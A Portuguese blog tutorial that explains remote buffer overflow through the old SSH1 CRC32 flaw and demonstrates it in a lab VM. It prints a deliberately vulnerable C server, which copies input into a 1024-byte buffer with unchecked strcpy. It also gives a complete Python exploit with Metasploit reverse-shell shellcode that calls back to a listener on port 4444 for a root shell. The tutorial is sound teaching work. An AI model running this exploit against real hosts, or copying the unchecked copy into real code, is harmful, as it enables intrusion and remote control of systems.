URL:

Opção :




Entendendo o Ataque Buffer Overflow

Entendendo o Buffer Overflow

A vulnerabilidade ssh1 crc32 foi descoberta no ano de 2001, afetava as versões SSH menor que 1.2.32, openSSH menor que 2.3 entre outras variações e era do tipo remote buffer overflow. A exploração dessa vulnerabilidade permite a injeção um código malicioso no servidor remoto para executar as mais variadas ações como por exemplo, abrir um shell para uso do atacante, eliminar regras do firewall, instalar um backdoor, matar processos, criar usuários, etc, ou no mínimo provocar uma negação de serviço.

Um buffer overflow é um provocado por um erro de programação que gera uma exception no acesso à memória. Ele ocorre quando um processo tenta armazenar um dado além dos limites de um buffer de tamanho determinado, sobrescrevendo áreas de memória adjacentes a esse buffer, incluindo alguns endereços de controle fluxo ou ponteiros de memória utilizados pelo processador, o que normalmente causa um erro de “Segmentation Fault”, provocando o encerramento do programa.

Esses “endereços de controle de fluxo”, na realidade, são ponteiros para a próxima instrução a ser executada pelo processador e se cuidadosamente sobrepostos, podem provocar um desvio no fluxo de execução normal do programa para o código maléfico do atacante.

No esquema acima podemos ver um exemplo de como ocorre o ataque de buffer overflow. Basicamente, o atacante envia um dado com tamanho maior que o espaço alocado para a buffer, juntamente com um código malicioso, de tal forma que o endereço de retorno da função, contido na região chamada de EIP, seja sobreposto para apontar para o código do atacante.

No caso específico dessa vulnerabilidade SSH1 CRC32, um conteúdo inteiro de 32 bits é atribuído à uma variável de 16 bits da rotina “deattack.c” e pode ser explorado remotamente pelo envio de um pacote cuidadosamente montado para esse fim.

Reproduzindo o Ataque

Conceitualmente simples, na prática, o ataque de buffer overflow remoto não é tão fácil de ser bem sucedido, por depender de posições de memória que mudam de acordo com a compilação, versão do sistema operacional, etc. Claro, que uma vez criado o exploit que efetivamente funcione para uma determinada versão de software e sistema operacional, o ataque torna-se trivial de ser reproduzido.

Como a vulnerabilidade utilizada no filme é muito antiga, após exaustivas buscas na internet, consegui achar o exploit para essa vulnerabilidade, porém, não consegui achar a versão de SSH compatível, na sua forma binária e instalável numa versão de SO compatível com o exploit, impossibilitando a reprodução fiel do ataque usado no filme.

Diante dessa dificuldade, optei por apresentar uma demonstração acadêmica da exploração remota de buffer overflow, utilizando um programa meramente demonstrativo.

O programa escrito em linguagem C, comporta-se como um servidor, escutando uma porta TCP e ao receber um dado por essa porta, exibe na console e envia uma mensagem de retorno ao cliente.

Server

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

void error(char *msg)
{
    perror(msg);
    exit(1);
}

void viewer(char *string)
{
        //declaracao de char buffer
        char buffer[1024];
        //a string do parametro eh copiada nesse buffer
        strcpy(buffer,string);
        //e depois mostrada na stdout
        printf("Mensagem recebida: %s\n",buffer);
 fflush;
}

int main(int argc, char *argv[])
{
     int sockfd, newsockfd, portno, clilen;
     char buffer[2000];
     struct sockaddr_in serv_addr, cli_addr;
     int n;
     if (argc < 2) {
         fprintf(stderr,"ERRO: porta nao especificada.\n");
         exit(1);
     }
     sockfd = socket(AF_INET, SOCK_STREAM, 0);
     if (sockfd < 0)
        error("ERRO ao abrir socket");
     bzero((char *) &serv_addr, sizeof(serv_addr));
     portno = atoi(argv[1]);
     serv_addr.sin_family = AF_INET;
     serv_addr.sin_addr.s_addr = INADDR_ANY;
     serv_addr.sin_port = htons(portno);
     if (bind(sockfd, (struct sockaddr *) &serv_addr,
              sizeof(serv_addr)) < 0)
              error("ERRO de 'bind'");
     listen(sockfd,5);
     clilen = sizeof(cli_addr);
     while(1)
     {
        newsockfd = accept(sockfd,
                 (struct sockaddr *) &cli_addr,
                 &clilen);
     if (newsockfd < 0)
          error("ERRO na recepcao");
     bzero(buffer,256);
     n = read(newsockfd,buffer,2000);
     if (n < 0) error("ERRO na leitura do socket");
     viewer(buffer);
     n = write(newsockfd,"A mensagem foi recebida pelo
servidor.", strlen("A mensagem foi recebida pelo servidor.")); if (n < 0) error("ERROR na gravacao do socket"); } return 0; }

No código do programa, podemos observar na função viewer(), o ponto vulnerável do programa. A variável buffer é definida com o tamanho de 1024 bytes, mas não existe qualquer verificação quanto ao tamanho do dado atribuído a ela.

Dessa forma, se enviarmos um pacote com 1028 bytes (antes da região EIP, que desejamos alterar, existe o EBP com 4 bytes, mas não nos interessa), mais o endereço de desvio, podemos sobrepor o endereço original. Existem certos detalhes técnicos adicionais que tornam o desenvolvimento do exploit mais complexo, mas que fogem ao escopo desse artigo. Maiores informações podem ser obtidas consultando os documentos citados nas referências desse artigo.

Na nossa demonstração, compilamos e executamos esse programa servidor numa máquina virtual Vmware, com sistema operacional Debian 4.0, kernel 2.6.18-6-486, enderço ip 172.16.56.128, porta 1025. O ataque parte da máquina hospedeira, Ubuntu 8.04., ip 172.16.56.1.

Para realizar o ataque, utilizamos um script em python com o payload ou shellcode (código malicioso) gerado pelo metasploit e realizar uma conexão reversa do servidor para o cliente na porta 4444.

Exploit

#!/usr/bin/env python

import socket
import getopt
import sys

host = "172.16.56.128"
port = 1025

# linux_ia32_reverse -  LHOST=172.16.56.1 LPORT=4444 Size=202
Encoder=Alpha2 http://metasploit.com shellcode = \ "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x37\x49\x49\x49" \ "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x45" \ "\x58\x50\x30\x41\x31\x41\x42\x6b\x41\x41\x55\x41\x32\x41\x41\x32" \ "\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x48\x69\x36\x51\x6b" \ "\x6b\x31\x43\x77\x33\x73\x63\x31\x7a\x46\x62\x41\x7a\x33\x56\x36" \ "\x38\x4b\x39\x49\x71\x78\x4d\x4b\x30\x4f\x63\x33\x69\x4c\x70\x65" \ "\x6f\x68\x4d\x6f\x70\x57\x39\x74\x39\x4b\x49\x33\x6b\x41\x4a\x42" \ "\x48\x4c\x6c\x44\x50\x56\x58\x44\x41\x75\x36\x30\x68\x72\x31\x61" \ "\x4c\x73\x73\x33\x56\x43\x63\x4e\x69\x4b\x51\x6e\x50\x51\x76\x62" \ "\x70\x42\x71\x52\x73\x6c\x49\x48\x61\x30\x43\x68\x4d\x6d\x50\x63" \ "\x62\x42\x48\x74\x6f\x54\x6f\x63\x43\x52\x48\x35\x38\x36\x4f\x61" \ "\x72\x70\x69\x30\x6e\x4c\x49\x6a\x43\x61\x42\x63\x63\x4b\x39\x79" \ "\x71\x6e\x50\x76\x6b\x4a\x6d\x4b\x30\x45" retaddr = "\x77\xe7\xff\xff" buff = "A" * 1028 + retaddr + shellcode + "\x00" sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((host, port)) sock.send(buff) sock.close() sock = None

Realizando o ataque

Os passos para executar o ataque de demonstração consistem no seguinte:

  1. Inicialmente, colocamos o servidor para executar no Debian, rodando na VM, escutando a porta 1025.

  2. Na máquina hospedeira, numa sessão shell, colocamos o netcat escutando na porta 4444 para receber a conexão de retorno.

  3. Em outra sessão shell, executamos o nmap que confirma a existência do serviço (no caso, porta 1025) e em seguida, executamos o exploit.

  4. No shell do netcat recebemos a conexão de callback do servidor, onde podemos digitar qualquer comando, herdando as permissões da conta em que o servidor é executado (no nosso caso root).

O uso da técnica de callback serve para burlar as regras do firewall, iniciando uma conexão da rede interna para a rede externa.

As telas a seguir, demonstram o ataque realizado:

Essa tela demonstra o nmap executado na máquina cliente, verificando as portas abertas no servidor, no intervalo de 1 a 2048, onde comprovamos a porta 1025 aberta.

Ainda na máquina cliente, comprovamos o funcionamento do servidor enviando uma mensagem de teste para ele, com o uso do comando echo, fazendo um pipe para o netcat e recebendo a mensagem de confirmação.

Num segundo momento, executamos o script de exploit, que envia o payload para o servidor.

No servidor podemos ver a mensagem de teste e posteriormente a mensagem de ataque onde se vê uma seqüência de letras “A” somente para preencher o buffer e em seguida a representação ASCII do payload.

Nessa tela podemos ver o netcat escutando a porta 4444 e depois recebendo a conexão do servidor. A comprovação de que estamos no servidor pode ser obtido pelo comando uname -a e a conta em execução pelo whoami.

Conclusões

Apesar de ser de difícil execução, por depender de endereços de memória específicos para cada compilação/versão de software e sistema operacional, uma vez elaborado o exploit para determinada versão, sua execução é trivial e extremamente perigosa pelo resultado que o atacante pode obter.

Esses ataques podem retornar um shell para o atacante, executar um flush no iptables (remover todas as regras do firewall), incluir contas de usuário, enviar e instalar um backdoor, etc.

Firewalls, especialmente os construídos sobre linux, não devem conter outros serviços para minimizar os riscos, já que um ataque a um serviço vulnerável nesse equipamento pode simplesmente torna-lo inócuo pela execução de um flush no iptables, eliminado todas as suas regras de controle de acesso.

Durante nossos testes, verificamos que o Ubuntu aborta o programa vulnerável (servidor) ao perceber uma tentativa de stack smashing (tentativa de corrupção dos endereços da pilha, usados nos ataques de buffer overflow), ao passo que o Debian não acusou nada. Isso significa que determinadas distribuições são mais seguras que outras.

E por fim, novas vulnerabilidades são descobertas todos os dias. Patches (correções) ou novas versões dos softwares vulneráveis são distribuídos tão logo essas vulnerabilidades sejam descobertas e divulgadas, devendo ser aplicadas o quanto antes aos nossos sistemas para minimizar os riscos.

Compartilhar usando :

DEIXE SEU COMENTARIO :

Comentarios - Mundo Hacker | Facebook-copyright(™ © ®)